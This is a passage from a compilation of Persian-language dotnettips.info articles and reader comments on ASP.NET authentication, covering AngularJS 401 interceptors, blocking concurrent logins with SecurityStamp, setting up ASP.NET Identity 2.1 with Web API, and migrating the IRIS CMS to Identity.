همانطور که مشاهده می‌کنید از Authorize پیش فرض استفاده کرده‌ایم. حالا سمت کلاینت با استفاده از HTTP می‌خواهیم درخواستی را ارسال کنیم.

یعنی با کدی همانند کد زیر:

```
$scope.getUserInfo = function() {
            $http({
                    method: 'POST',
                    url: 'Home/GetUserInfo',
                    headers: $scope.getHeaders()
                }).
                success(function(data, status, headers, config) {
                    $scope.userInfo = data;
                }).
                error(function(data, status, headers, config) {

                }).then(function(res) {

                });
        }
```

و نتیجه‌ی کدهای بالا به صورت زیر درخواهد آمد :

```
success(function(data, status, headers, config) {  data = Object {UserName: "dotnettips.info"}, status = 200,
    $scope.userInfo = data;
}).
```

همانطور که می‌بینید داده‌های اولیه کاربر پس از ورود به سیستم، بدون هیچ مشکلی دریافت می‌شوند.

نکته : زمانیکه status برابر با 200 هست، یعنی درخواست OK می‌باشد. (در پیوست ، لیست تمامی کدها قرار داده شده است)

حالا فرض کنید کاربر در صفحه حضور دارد و به هر دلیلی اعتبار حضور کاربر منقضی شده است و حالا پس از مدتی کاربر درخواستی را به سرور ارسال می‌کند و می‌خواهد اطلاعات خودش را مشاهده کند.

درخواست کاربر با همان کدهای اولیه ارسال می‌شود و خروجی اینبار به صورت زیر در خواهد آمد :

```
success(function(data, status, headers, config) {  data = "", status = 200,
    $scope.userInfo = data;
}).
```

همانطور که می‌بینید وضعیت اینبار نیز OK می‌باشد، ولی هیچ داده‌ای از سرور دریافت نشده است. کاربر قطعا در اینجا دچار سردرگمی می‌شود. چون هیچ چیزی را مشاهده نمی‌کند و به هیچ مسیر دیگری نیز هدایت نمی‌شود و هرکار دیگری نیز انجام دهد، پاسخی مشاهده نمی‌کند.

راه حل چیست ؟

ابتدا باید برای درخواست‌های Ajax ایی اعتبارسنجی را اعمال کنیم. برای این کار باید یک Attribute جدید بسازیم. یعنی به این صورت :

```
[AttributeUsage(AttributeTargets.Class | AttributeTargets.Method, Inherited = true, AllowMultiple =
true)]
    public class MyCustomAuthorize : AuthorizeAttribute
    {
        protected override void HandleUnauthorizedRequest(AuthorizationContext filterContext)
        {
            if (filterContext.HttpContext.Request.IsAjaxRequest())
            {
                // یعنی اعتبارسنجی نشده است
                filterContext.HttpContext.Response.StatusCode = (int)HttpStatusCode.Unauthorized;
                filterContext.HttpContext.Response.End();
            }

            base.HandleUnauthorizedRequest(filterContext);
        }
    }
```

با استفاده از Attribute بالا ما درخواست‌های ای‌جکسی را نیز اعتبارسنجی می‌کنیم.

توجه : کد کامل‌تر همراه با توضیحات در بخش پیش نیازها آمده است.

حالا در سمت کلاینت نیز به این صورت عمل می‌کنیم :

```
$http({
                    method: 'POST',
                    url: 'Home/GetUserInfo',
                    headers: $scope.getHeaders()
```

```
                }).
                success(function(data, status, headers, config) {
                    $scope.userInfo = data;
                }).
                error(function(data, status, headers, config) {
                    if (status === 401) {
                        // you are not authorized
                    }
                }).then(function(res) {

                });
```

حالا دیگر متوجه خواهیم شد که کاربر اعتبارسنجی نشده است، یا اعتبار آن منقضی شده است و می‌توانیم کاربر را به مسیر **"ورود به سیستم"** هدایت کنیم.

در console مرورگر نیز خطای زیر رخ می‌دهد :

```
POST http://localhost:000000/Administrator/Home/GetUserInfo 401 (Unauthorized)
```

اکنون به هدف خودمان رسیده‌ایم. اما برای هر درخواست باید این دستوارت را تکرار کنیم ؟! قطعا خیر.

حالا باید از یک Interceptor استفاده و درخواست‌های HTTP خودمان را مدیریت کنیم. برای این منظور ما یک Interceptor جدید را همانند کدهای زیر می‌نویسیم:

```
factory('AuthorizedInterceptor', function ($q) {
        return {
            response: function(response) {
                return response || $q.when(response);
            },
            responseError: function(rejection) {
                if (rejection.status === 401) {
                    // you are not authorized
                }
                return $q.reject(rejection);
            }
        };
    })
```

همانطور که مشاهده می‌کنید کدهای خطای درخواست $http را در Interceptor قرار دادیم. حالا کاربر درخواستی را ارسال می‌کند و ما با توجه به این Interceptor متوجه خواهیم شد که آیا اعتبار آن منقضی شده است یا خیر و در صورت منقضی شدن، کاربر را به صفحه‌ی ورود هدایت خواهیم کرد. یعنی بدین صورت :

```
}).factory('AuthorizedInterceptor', function ($q) {
    return {
        response: function(response) {
            return response || $q.when(response);
        },
        responseError: function(rejection) {  rejection = Object {data: "", status: 401, config: Object, statusText: "Unauthorized"}
            if (rejection.status === 401) {
                // you are not authorized
            }
            return $q.reject(rejection);
        }
    };
});
```

در خروجی بالا می‌بینید که کاربر، اعتبارسنجی نشده است و آن را به مسیر ورود هدایت خواهیم کرد.

با Interceptor بالا دیگر نیازی نیست برای هر درخواستی این وضعیت را چک کنیم و به صورت خودکار این چک کردن رخ خواهد داد.

پیوست : http_status_codes.rar

نظرات خوانندگان

نویسنده: یاسر مرادی
تاریخ: ۱۳۹۴/۰۶/۱۳ ۱۳:۱

با سلام و احترام

ممنون بابت مقاله خوبتون

ولی این شرط

```
filterContext.HttpContext.Request.IsAjaxRequest
```

معنی

یعنی اعتبارسنجی نشده است

را نمی‌دهد.

شما در متد HandleUnauthorizedRequest هستید و بالطبع اعتبار درخواست رد شده است، کاری که می‌خواهید انجام دهید، اعتبارسنجی نیست، بلکه اصلاح Response درخواست‌های Ajax ای است که Status Code آنها ۲۰۰ است که نباید باشد.

این نوع دقت داشتن و شفافیت لازمه ایجاد یک کد صحیح است، چون الآن و در مرحله ای بالاتر، می‌توانیم بگوییم که هر Response ای که وارد متد HandleUnauthorizedRequest شده است، اگر Status Code 401 ندارد، Status Code آن برابر ۴۰۱ قرار داده شود. فارغ از Ajax بودن یا نبودن.

و باز در مرحله ای بالاتر اگر در پروژه از Owin استفاده شده باشد، یک Owin Middleware و اگر نه یک ASP.NET Module جای مناسب‌تری برای نوشتن این چنین کدی است.

از این که IsAjaxRequest همیشه درست کار نمی‌کند و فقط وقتی درخواست Ajax ای بگوید که Ajax ای است، کار خواهد کرد نیز بگذریم.

موفق و پایدار باشید.

نویسنده: محسن خان
تاریخ: ۱۳۹۴/۰۶/۱۳ ۱۳:۲۷

نویسنده‌ی گرامی، خواهشمند است جهت رفاه حال خوانندگان گرانقدر، جمله‌ی مبهم «یعنی اعتبارسنجی نشده است» را به جمله‌ی بهتر «یعنی درخواست ای‌جکسی در این مرحله از کار اعتبارسنجی‌اش رد شده‌است و اکنون می‌خواهیم وضعیت خروجی آن‌را اصلاح کنیم» تغییر دهید. با تشکر فراوان!

نویسنده: محمود راستین
تاریخ: ۱۳۹۴/۰۶/۱۴ ۲:۵۶

با سلام
عبارت " یعنی اعتبارسنجی نشده است " برای تعریف خط زیرین خودش هستش که داره پاسخ رو اصلاح می‌کنه و برای شرط

استفاده نشده است که این پاسخ ما با توجه به کد وضعیت ،یعنی اعتبار سنجی نشده است . به بیان ساده‌تر معنی تغییر کد پاسخ می‌باشد.
من شخصا از مطلب جناب نصیری در اینجا استفاده می‌کنم برای این اعتبارسنجی. پیشنهاد میکنم این مطلب و نظرات اون رو ببینید. همچنین این مطلب در پیش نیازها درج شد تا در آینده خوانندگان دچار مشکل نشوند و ابتدا این مطلب را بخوانند.
و جناب مرادی در خط آخر مطلبی رو بیان کردید ، خوشحال میشیم جزئیات بیشتری رو بیان کنید. یعنی چی همیشه درست کار نمی‌کند ؟ چه شرایطی ممکن است رخ دهد که اشتباه کار کند ؟

با تشکر

نویسنده: محسن خان
تاریخ: ۱۳۹۴/۰۶/۱۴ ۱۰:۱۹

چه شرایطی ممکن است رخ دهد که اشتباه کار کند ؟

اگر این درخواست دستی صادر بشه (یک ربات باشه) یا اگر فایروال خاصی در این میان هدرهای Ajax رو حذف کنه . مورد اول مهم نیست، چون نیازی نیست تا ربات را به صفحه‌ی لاگین هدایت کرد (مرورگر باز شده‌ای نداره). مورد دوم هم خیلی خیلی بعید هست. یعنی من ندیدم که در عمل فایروال‌های شرکت‌ها هدرهای HTTP رو تا این حد دستکاری کنند.

عنوان: **جلوگیری از ورود همزمان کاربران با نام کاربری و رمز عبور یکسان**
نویسنده: شاهین کیاست
تاریخ: ۱۳۹۴/۰۶/۱۲ ۱۶:۱۰
آدرس: www.dotnettips.info
گروه‌ها: ASP.Net, MVC, Security, ASP.NET Identity

در اکثر برنامه‌های وب، کاربر قادر است با یک نام کاربری و رمز عبور در چند Session همزمان لاگین کند. ممکن است سیاست برخی مدیران محصول این باشد که جلوی این مورد را بگیرند تا به عنوان مثال کاربران را به جای استفاده‌ی همزمان از یک نام کاربری و رمز عبور، مجبور به خرید مجوزهای بیشتری کنند. ASP.NET Identity به صورت پیش فرض این مورد را پشتیبانی نمی‌کند؛ اما به کمک استفاده از امکانات درونی آن می‌توان این پشتیبانی را اضافه کرد.
یکی از فیلدهای جدول AspNetUsers فیلد SecurityStamp می‌باشد. SecurityStamp یک مقدار تصادفی است:

Security Stamp باید با هربار تغییر اطلاعات احراز هویت (مانند رمز عبور) و اختیارات کاربر(Role) تغییر کند. به عنوان مثال کاربری در چند مرورگر لاگین کرده و گزینه‌ی مرا به خاطر داشته باش را انتخاب کرده است. اگر این کاربر رمز عبورش از هر جایی عوض شود، باید لاگین او در همه‌ی Sessionها غیر معتبر شود. این مورد با تغییر کردن SecurityStamp بعد از تغییر رمز عبور صورت می‌گیرد. ASP.NET مقدار SecurityStamp را در کوکی کاربر نگه می‌دارد و در بازه‌های زمانی، این مقدار را با مقدار درون دیتابیس مقایسه می‌کند و در صورت عدم برابری، کاربر را احراز هویت نمی‌کند. بازه‌ی زمانی این بررسی در متد ConfigureAuth قابل تنظیم است که در ادامه شرح داده خواهد شد.
صورت مساله یافتن راه حلی جهت جلوگیری از ورود همزمان چند کاربر با یک نام کاربری و رمز عبور به سیستم می‌باشد. یکی از راه‌حل هایی که در ابتدا به ذهن می‌آید استفاده از Session و نگهداری کاربران لاگین کرده در حافظه می‌باشد. پیاده سازی این راه حل می‌تواند به کمک یک کلاس Static صورت پذیرد، اما قسمت چالشی این موضوع این است که چه زمانی باید کاربر از لیست حذف گردد؟ اگر اتصال کاربر قطع شود چه عملی باید صورت گیرد؟
راه حل دیگر استفاده از SecurityStamp هست؛ به این صورت که با هربار لاگین کاربر این مقدار تصادفی به‌روز گردد و ASP.NET Identity به گونه‌ای تنظیم شود که با هر درخواست HTTP، صحت SecurityStamp بررسی گردد. مقدار پیش فرض بازه‌ی زمانی بررسی، هر 30 دقیقه یک بار است.
در مثال‌های رسمی ASP.NET Identity لاگین به صورت ذیل پیاده سازی شده است:

```
[HttpPost]
```

```
        [AllowAnonymous]
        [ValidateAntiForgeryToken]
        public async Task<ActionResult> Login(LoginViewModel model, string returnUrl)
        {
            if (!ModelState.IsValid)
            {
                return View(model);
            }
            // This doesn't count login failures towards account lockout
            // To enable password failures to trigger account lockout, change to shouldLockout: true
            var result = await SignInManager.PasswordSignInAsync(model.Email, model.Password,
model.RememberMe, shouldLockout: false);
            switch (result)
            {
                case SignInStatus.Success:
                    return RedirectToLocal(returnUrl);
                case SignInStatus.LockedOut:
                    return View("Lockout");
                case SignInStatus.RequiresVerification:
                    return RedirectToAction("SendCode", new { ReturnUrl = returnUrl, RememberMe =
model.RememberMe });
                case SignInStatus.Failure:
                default:
                    ModelState.AddModelError("", "Invalid login attempt.");
                    return View(model);
            }
        }
```

این کد را باید به گونه‌ای تغییر داد که اگر نام کاربری و رمز عبور معتبر بودند، مقدار SeucrityStamp به‌روز گردد. به همین منظور قبل از فراخوانی PasswordSignInAsync کد ذیل اضافه می‌گردد:

```
var loggedinUser = await UserManager.FindAsync(model.Email, model.Password);
            if (loggedinUser != null)
            {
                await UserManager.UpdateSecurityStampAsync(loggedinUser.Id);
            }
```

همانطور که مشاهده می‌شود، جهت بروز رسانی SecurityStamp از سازوکار درونی ASP.NET Identity، در واقع متد UpdateSecurityStampAsync بهره گرفته شده است.

اکنون باید تنظیمات پیش‌فرض بازه‌ی زمانی بررسی صحت SecurityStamp تغییر داده شود. این تنظیمات در فایل Startup.Auth.cs در پوشه‌ی App_Start قرار دارند:

```
app.UseCookieAuthentication(new CookieAuthenticationOptions
            {
                AuthenticationType = DefaultAuthenticationTypes.ApplicationCookie,
                LoginPath = new PathString("/Account/Login"),
                Provider = new CookieAuthenticationProvider
                {
                    // Enables the application to validate the security stamp when the user logs in.
                    // This is a security feature which is used when you change a password or add an
external login to your account.
                    OnValidateIdentity =
SecurityStampValidator.OnValidateIdentity<ApplicationUserManager, ApplicationUser>(
                        validateInterval: TimeSpan.FromMinutes(30),
                        regenerateIdentity: (manager, user) => user.GenerateUserIdentityAsync(manager))
                }
            });
```

در کد بالا OnValidateIdentity باید مقدار ذیل را بگیرد:

```
OnValidateIdentity =
                        SecurityStampValidator.OnValidateIdentity<ApplicationUserManager,
ApplicationUser>(
                            TimeSpan.FromMinutes(0), // <-- Note the timer is set for zero
                            (manager, user) => user.GenerateUserIdentityAsync(manager))
```

اکنون Framework موظف است در هر درخواست HTTP، صحت SeucirtyStamp را بررسی کند. بنابراین اگر کاربری در سیستم

لاگین باشد و کاربر دیگری با همان نام کاربری و رمز عبور لاگین کند، کاربر اول از سیستم لاگ اوت می‌شود؛ چرا که مقدار SecurityStamp او دیگر معتبر نیست. باید در نظر گرفته شود این عمل در سیستم‌های با تعداد کاربر زیاد باعث افزایش درخواست‌های دیتابیس می‌شود.

اکنون جهت تست، اگر با مرورگر اول در سیستم لاگین صورت گیرد، سپس با همان اطلاعات در مرورگری دیگر، لاگین صورت گیرد، کاربر اول پس از درخواست بعدی، از سیستم لاگ اوت می‌شود. در مثال انتهای مطلب، صفحه‌ی About به صورت غیر عمومی درآمده که می‌توان بررسی راه حل جاری را در آن صفحه صورت داد.

اگر بخواهیم لاگ اوت شدن کاربر را آنی کنیم، می‌توان در فواصل زمانی مشخصی، یک درخواست Ajax از سمت کلاینت به سرور ارسال کرد و تصدیق هویت کاربر را بررسی کرد:

```
window.setInterval(function() {
            $.ajax({
                url:,
                type: "Post",
                dataType: "json",
                success: function(data) {
                    if (!data) {
                        alert("Someone has logged in using your username and password!");
                        location.reload();
                    }
                }
            });
        }, 60000);
```

در کد بالا به کمک window.setInterval، هر یک دقیقه یک بار لاگین بودن کاربر بررسی می‌گردد و در صورت لاگین نبودن، پیغام لازم به کاربر نمایش داده می‌شود. در نظر داشته باشید، این کد تنها باید در صفحات غیر عمومی قرار داده شود.

کد اکشن بررسی لاگین بودن به سادگی ذیل است:

```
[AllowAnonymous]
        public virtual ActionResult Authenticated()
        {
            return Json(User.Identity.IsAuthenticated);
        }
```

نکته‌ی مهم این است که خصیصه‌ی AllowAnonymous بالای اکشن قرار گرفته باشد تا در صورتیکه Controller به صورت عمومی در دسترس نیست، اکشن همیشه و حتی وقتی کاربر لاگ اوت شده در دسترس باشد. در مثال انتهای مطلب صفحه‌ی About تنها در اختیار کاربران احراز هویت شده قرار گرفته است، بنابراین اگر دو کاربر با اطلاعات یکسانی به سیستم لاگین کنند، کاربر اول پیغام خطای ذیل را گرفته و به صفحه‌ی لاگین می‌رود. این کد در صفحه‌ی About در مثال انتهای مطلب قرار گرفته است:

Guildfor
Js OOP In JavaScript: ...
ct
The page at localhost:62378 says:
Someone has logged in using your username and password!
OK
e.

سورس کد

نظرات خوانندگان

نویسنده: غلامرضا ربال
تاریخ: ۱۳۹۴/۰۶/۱۳ ۱۵:۵۷

با تشکر بابت مقاله مفیدی که منتشر کردید.
خودم هم قصد داشتم مطلبی درباره موضوع مرتبط به این مقاله (SecurityStamp) منتشر کنم که الان با توضیحات کامل شما دیگه لزومی نمی‌بینم این کار را انجام دهم.
فقط باید توجه داشت که مقدار دهی Interval با

```
TimeSpan.FromMinutes(0)
```

به معنای کوئری زدن در هر درخواست از دیتابیس برای رفرش کردن نقش‌های کاربر نیز میباشد. حال اگر سیستم بزرگ بوده و علاوه بر گروه‌های کاربری ، دارای سیستم دسترسی‌ها داینامیک هم باشد امکان دارد زمان گزارش گیری کمی افزایش یابد و با تعداد زیاد کاربران این عمل به صرفه نخواهد بود.
کاری که خودم در پروژه << طراحی فریمورکی برای کار با Asp.net MVC و EF >> انجام دادم به این صورت است که یک فیلد به نام IsChangedPermissions در کلاس کاربر قرار دادم تا هر وقت دسترسی‌ها او تغییر کند این فیلد را با مقدار true مقدار دهی کنم و با این صورت لازم نیست در هر درخواست دسترسی‌های کاربر از دیتابیس واکشی شوند . و اگر لازم بود اکانت کاربر را به صورت آنی غیر فعال کنیم کافیست فیلد SecurityStamp او را با متد یاد شده در مطلب تغییر دهیم که این امر با توجه به مقدار دهی interval با مقدار 0 ، سبب خروج کاربر مورد نظر از حساب خود خواهد شد.
البته لازم است بعد از چک کردن فیلد IsChangedPermissions ، اگر مقدار true را در برداشت آن را false مقدار دهی کنیم تا برای درخواست‌های بعدی مشکلی پیش نیاید.
برای این منظور یک SecurityStampValidator شخصی سازی شده در نظر گرفتم که قسمت مد نظر برای تغییر به صورت زیر است:

```
if (validate)
                {
                    var manager = context.OwinContext.GetUserManager<ApplicationUserManager>();
                    var userId = getUserIdCallback(context.Identity);
                    if (manager != null)
                    {
                        var user = await manager.FindByIdAsync(userId).WithCurrentCulture();
                        var reject = true;
                        // Refresh the identity if the stamp matches, otherwise reject
                        if (user != null && manager.SupportsUserSecurityStamp)
                        {
                            var securityStamp =

context.Identity.FindFirstValue(Constants.DefaultSecurityStampClaimType);
                            if (securityStamp == await
manager.GetSecurityStampAsync(userId).WithCurrentCulture())
                            {
                                reject = false;
                                // Regenerate fresh claims if possible and resign in
                                if (user.IsChangedPermissions && regenerateIdentityCallback != null)
                                {
                                    var identity = await regenerateIdentityCallback.Invoke(manager,
user).WithCurrentCulture();
```

عنوان: **ایجاد سرویس Account Manager با تکنولوژی های Identity 2.1 و Web API 2.2**
نویسنده: مهرداد کاهه
تاریخ: ۱۳۹۴/۰۶/۲۲ ۱۷:۵۵
آدرس: www.dotnettips.info
گروه‌ها: Entity framework, Security, ASP.NET Web API, AngularJS, ASP.NET Identity, JSON Web Token

ASP.NET Identity 2.1 جدیدترین فریم ورک عضویت و مدیریت کاربر است که چندی پیش توسط شرکت مایکروسافت منتشر شد. این سیستم عضویت می‌تواند به تمامی فریم‌ورک‌های دات نتی مانند Web API، MVC و ... متصل گردد.
در این دوره چند قسمتی به همراه یک پروژه‌ی نمونه، نحوه‌ی ارتباط Identity و Web API را نمایش خواهیم داد. در قسمت front-end این پروژه‌ی SPA، ما از AngularJs استفاده خواهیم نمود. قسمت front-end که توسط AngularJs توسعه داده می‌شود از bearet token based authentication استفاده می‌کند. این متد از JSON Web Token برای فرایند Authorization بهره می‌گیرد که به اختصار آن را JWT نیز می‌نامند. این روش سیستم اعتبار سنجی role based بوده و تمامی آنچه را که در یک سیستم membership داریم، پوشش می‌دهد. توجه داشته باشید که برای فهم بهتر تمامی مراحل، ما پروژه را بدون هیچ قالب از پیش تعریف شده‌ای در VS2013 آغاز می‌کنیم.
به دلیل اینکه پروژه در طی چند قسمت انجام می‌پذیرد آن را به بخش‌های زیر تقسیم می‌کنیم.

تنظیمات اولیه ASP.NET Identity 2.1 با Web API
ایجاد Account Confirmation به وسیله Identity به همراه تنظیمات policy برای user name و password
توسعه OAuth Json Web Token Authentication به کمک Web API و Identity
ایجاد یک سیستم Role Based و تایید صلاحیت‌های مربوط به آن
توسعه Web API Claims Authorization در Identity 2.1
توسعه بخش front-end با AngularJs

تنظیمات اولیه ASP.NET Identity 2.1 با Web API

1. تنظیمات ASP.Net Identity 2.1

1-1. ساخت یک پروژه Web API

در ابتدا ما یک empty solution را با نام "AspNetIdentity" همانند شکل مقابل می‌سازیم.

یک ASP.NET Web Application با نام "AspNetIdentity.WebApi" را به این solution اضافه می‌نماییم. در بخش select template ما empty template را انتخاب می‌کنیم. همچنین در قسمت add folders and core references for: نیز هیچیک از گزینه‌ها را انتخاب نمی‌کنیم.

1-2. نصب packageهای مورد نیاز از Nuget

در زیر packageهای مورد نیاز برای ASP.NET Web API و Owin را مشاهده میکنید. همچنین packageهای مربوط به ASP.Net Identity 2.1 نیز در زیر قرار داده شده‌اند.

```
Install-Package Microsoft.AspNet.Identity.Owin -Version 2.1.0
Install-Package Microsoft.AspNet.Identity.EntityFramework -Version 2.1.0
Install-Package Microsoft.Owin.Host.SystemWeb -Version 3.0.0
Install-Package Microsoft.AspNet.WebApi.Owin -Version 5.2.2
Install-Package Microsoft.Owin.Security.OAuth -Version 3.0.0
Install-Package Microsoft.Owin.Cors -Version 3.0.0
```

1-3. اضافه کردن user class و database context

حال که تمامی پکیج‌های مورد نیاز را به پروژه خود اضافه نمودیم، قصد داریم تا اولین کلاس EF را با نام "ApplicationUser" به پروژه اضافه کنیم. این کلاس، کاربری را که قصد ثبت نام در membership system، دارد را نمایش می‌دهد. برای این کار ما یک کلاس جدید را به نام "ApplicationUser" می‌سازیم و کلاس "Microsoft.AspNet.Identity.EntityFramework.IdentityUser" را در آن به ارث می‌بریم.

برای این کار ما یک پوشه‌ی جدید را در برنامه با نام "Infrastructure" می‌سازیم و درون آن کلاس ذکر شده را اضافه می‌کنیم:

```
public class ApplicationUser : IdentityUser
    {
        [Required]
        [MaxLength(100)]
        public string FirstName { get; set; }
```

```
        [Required]
        [MaxLength(100)]
        public string LastName { get; set; }

        [Required]
        public byte Level { get; set; }

        [Required]
        public DateTime JoinDate { get; set; }

    }
```

پس از افزودن کلاس User، نوبت به اضافه نمودن Db Context است. این کلاس وظیفه‌ی ارتباط با پایگاه داده را بر عهده دارد. ما یک کلاس جدید را با نام ApplicationDbContext، به پوشه‌ی Infrastructure اضافه می‌نماییم. کد مربوط به این کلاس به صورت زیر است:

```
public class ApplicationDbContext : IdentityDbContext<ApplicationUser>
    {
        public ApplicationDbContext()
            : base("DefaultConnection", throwIfV1Schema: false)
        {
            Configuration.ProxyCreationEnabled = false;
            Configuration.LazyLoadingEnabled = false;
        }

        public static ApplicationDbContext Create()
        {
            return new ApplicationDbContext();
        }

    }
```

همانطور که ملاحظه می‌کنید این کلاس از IdentityDbContext ارث بری نموده است. این کلاس یک نسخه‌ی جدیدتر از DbContext است که تمامی نگاشت‌های Entity Framework Code First را انجام می‌دهد. در ادامه ما یک Connection String را با نام DefaultConnection در فایل web.config اضافه می‌نماییم.

همچنین متد static ایی را با نام Create که در تکه کد فوق از سوی Owin Startup class فراخوانی می‌گردد که در ادامه به شرح آن نیز خواهیم پرداخت.

ConnectionString قرار داده شده در فایل web.config در قسمت زیر قرار داده شده است:

```
<connectionStrings>
    <add name="DefaultConnection" connectionString="Data Source=.\sqlexpress;Initial
Catalog=AspNetIdentity;Integrated Security=SSPI;" providerName="System.Data.SqlClient" />
  </connectionStrings>
```

قدم 4: ساخت پایگاه داده و فعال سازی DB Migration

حال ما باید EF CodeFirst Migration را برای آپدیت کردن دیتابیس، بجای دوباره ساختن آن به ازای هر تغییری، فعال نماییم. برای این کار بایستی در قسمت NuGet Package Manager Console عبارت زیر را وارد نماییم:

```
enable-migrations
add-migration InitialCreate
```

اگر تا به اینجای کار تمامی مراحل به درستی صورت گرفته باشند، پوشه‌ی Migration با موفقیت ساخته می‌شود. همچنین پایگاه داده متشکل از جداول مورد نیاز برای سیستم Identity نیز ایجاد می‌شود. برای اطلاعات بیشتر می‌توانید مقالات مرتبط با Code First را مطالعه نمایید. ساختار جداول ما باید به صورت زیر باشد:

AspNetIdentity
Database Diagrams
Tables
System Tables
FileTables
dbo.__MigrationHistory
dbo.AspNetRoles
dbo.AspNetUserClaims
dbo.AspNetUserLogins
dbo.AspNetUserRoles
dbo.AspNetUsers
Columns
Id (PK, nvarchar(128), not null)
FirstName (nvarchar(100), not null)
LastName (nvarchar(100), not null)
Level (tinyint, not null)
JoinDate (datetime, not null)
Email (nvarchar(256), null)
EmailConfirmed (bit, not null)
PasswordHash (nvarchar(max), null)
SecurityStamp (nvarchar(max), null)
PhoneNumber (nvarchar(max), null)
PhoneNumberConfirmed (bit, not null)
TwoFactorEnabled (bit, not null)
LockoutEndDateUtc (datetime, null)
LockoutEnabled (bit, not null)
AccessFailedCount (int, not null)
UserName (nvarchar(256), not null)
Keys

در بخش بعدی، کلاس‌های مربوط به UserManager را ایجاد خواهیم کرد و پس از آن فایل Startup Owin را برای مدیریت کاربران، تشریح می‌کنیم.

عنوان: راهنمای تغییر بخش احراز هویت و اعتبارسنجی کاربران سیستم مدیریت محتوای IRIS به ASP.NET Identity – بخش اول
نویسنده: مهدی سعیدی فر
تاریخ: ۱۳۹۴/۰۷/۱۷ ۱۷:۳۰
آدرس: www.dotnettips.info
گروه‌ها: Entity framework, MVC, Security, ASP.NET Identity, IrisCMS

سیستم مدیریت محتوای IRIS از سیستم‌های اعتبار سنجی و مدیریت کاربران رایج نظیر ASP.NET Membership و یا ASP.NET Simple Membership استفاده نمی‌کند و از یک سیستم احراز هویت سفارشی شده مبتنی بر FormsAuthentication بهره می‌برد. زمانیکه در حال نوشتن پروژه‌ی IRIS بودم هنوز ASP.NET Identity معرفی نشده بود و به دلیل مشکلاتی که سیستم‌های قدیمی ذکر شده داشت، یک سیستم اعتبار سنجی کاربران سفارشی شده را در پروژه پیاده سازی کردم.
برای اینکه با معایب سیستم‌های مدیریت کاربران پیشین و مزایای ASP.NET Identity آشنا شوید، مقاله زیر می‌تواند شروع خیلی خوبی باشد:
معرفی ASP.NET Identity

به این نکته نیز اشاره کنم که هنوز هم می‌توان از FormsAuthentication مبتنی بر OWIN استفاده کرد؛ ولی چیزی که برای من بیشتر اهمیت دارد خود سیستم Identity هست، نه نحوه‌ی ورود و خروج به سایت و تولید کوکی اعتبارسنجی.
باید اعتراف کرد که سیستم جدید مدیریت کاربران مایکروسافت خیلی خوب طراحی شده است و اشکالات سیستم‌های پیشین خود را ندارد. به راحتی می‌توان آن را توسعه داد و یا قسمتی از آن را تغییر داد و به جرات می‌توان گفت که پایه و اساس هر سیستم اعتبار سنجی و مدیریت کاربری را که در نظر داشته باشید، به خوبی پیاده سازی کرده است.
در ادامه قصد دارم، چگونگی مهاجرت از سیستم فعلی به سیستم Identity را بدون از دست دادن اطلاعات فعلی شرح دهم.

رفع باگ ثبت کاربرهای تکراری نسخه‌ی کنونی

قبل از این که سراغ پیاده سازی Identity برویم، ابتدا باید یک باگ مهم را در نسخه‌ی قبلی، برطرف نماییم. نسخه‌ی کنونی مدیریت کاربران اجازه‌ی ثبت کاربر با ایمیل و یا نام کاربری تکراری را نمی‌دهد. جلوگیری از ثبت نام کاربر جدید با ایمیل یا نام کاربری تکراری از طریق کدهای زیر صورت گرفته است؛ اما در عمل، همیشه هم درست کار نمی‌کند.

```
public AddUserStatus Add(User user)
        {
            if (ExistsByEmail(user.Email))
                return AddUserStatus.EmailExist;
            if (ExistsByUserName(user.UserName))
                return AddUserStatus.UserNameExist;

            _users.Add(user);
            return AddUserStatus.AddingUserSuccessfully;
        }
```

شاید الان با خود بگویید که چرا برای فیلدهای UserName و Email ایندکس منحصر به فرد تعریف نشده است؟ دلیلش این بوده که در زمان نگارش پروژه، Entity Framework پشتیبانی پیش فرضی از تعریف ایندکس نداشت و نوشتن همین شرطها کافی به نظر می‌رسید. باز هم ممکن است بگویید که مسائل همزمانی چگونه مدیریت شده است و اگر دو کاربر مختلف در یک لحظه، نام کاربری یکسانی را انتخاب کنند، سیستم چگونه از ثبت دو کاربر مختلف با نام کاربری یکسان ممانعت می‌کند؟
جواب این است که ممانعتی نمی‌کند و دو کاربر با نام‌های کاربری یکسان ثبت می‌شوند؛ اما من برای وبسایت خودم که تعداد کاربرانش محدود بود این سناریو را محتمل نمی‌دانستم و کد خاصی برای جلوگیری از این اتفاق پیاده سازی نکرده بودم.
با این حال، در حال حاضر نزدیک به 20 کاربر تکراری در دیتابیسی که این سیستم استفاده می‌کند ثبت شده است. اما واقعا آیا دو کاربر مختلف اطلاعات یکسانی وارد کرده‌اند؟
دلیل رخ دادن این اتفاق این است که کاربری که در حال ثبت نام در سایت است، وقتی که بر روی دکمه‌ی ثبت نام کلیک می‌کند و اطلاعات به سرور ارسال می‌شوند، در سمت سرور بعد از رد شدن از شرطهای تکراری نبودن UserName و Email، قبل از رسیدن به متد SaveChanges برای ذخیره شدن اطلاعات کاربر جدید در دیتابیس، وقفه ای در ترد این درخواست به وجود می‌آید. کاربر که احساس می‌کند اتفاقی رخ نداده است، دوباره بر روی دکمه‌ی ثبت نام کلیک می‌کند و همان اطلاعات قبلی به سرور ارسال می‌شود و این درخواست نیز دوباره شرطهای تکراری نبودن اطلاعات را با موفقیت رد می‌کند(چون هنوز SaveChanges درخواست اول

فراخوانی نشده است) و این بار SaveChanges درخواست دوم با موفقیت فراخوانی می‌شود و کاربر ثبت می‌شود. در نهایت هم ترد درخواست اول به ادامه‌ی کار خود می‌پردازد و SaveChanges درخواست اول نیز فراخوانی می‌شود و خیلی راحت دو کاربر با اطلاعات یکسان ثبت می‌شود. این سناریو را در ویژوال استادیو با قرار دادن یک break point قبل از فراخوانی متد SaveChanges می‌توانید شبیه سازی کنید.

احتمالا این سناریو با مباحث همزمانی در سیستم عامل و context switchهای بین تردها مرتبط است و این context switchها بین درخواست‌ها و atomic نبودن روند چک کردن اطلاعات و ثبت آن ها، سبب بروز چنین مشکلی میشود.

برای رفع این مشکل می‌توان از غیر فعال کردن یک دکمه در حین انجام پردازش‌های سمت سرور استفاده کرد تا کاربر بی حوصله، نتواند چندین بار بر روی یک دکمه کلیک کند و یا راه حل اصولی‌تر این است که ایندکس منحصر به فرد برای فیلدهای مورد نظر تعریف کنیم.

به طور پیش فرض در ASP.NET Identity برای فیلدهای UserName و Email ایندکس منحصر به فرد تعریف شده است. اما مشکل این است که به دلیل وجود کاربرانی با Email و UserName تکراری در دیتابیس کنونی، امکان تعریف Index منحصر به فرد وجود ندارد و پیش از انجام هر کاری باید این ناهنجاری را در دیتابیس برطرف نماییم.

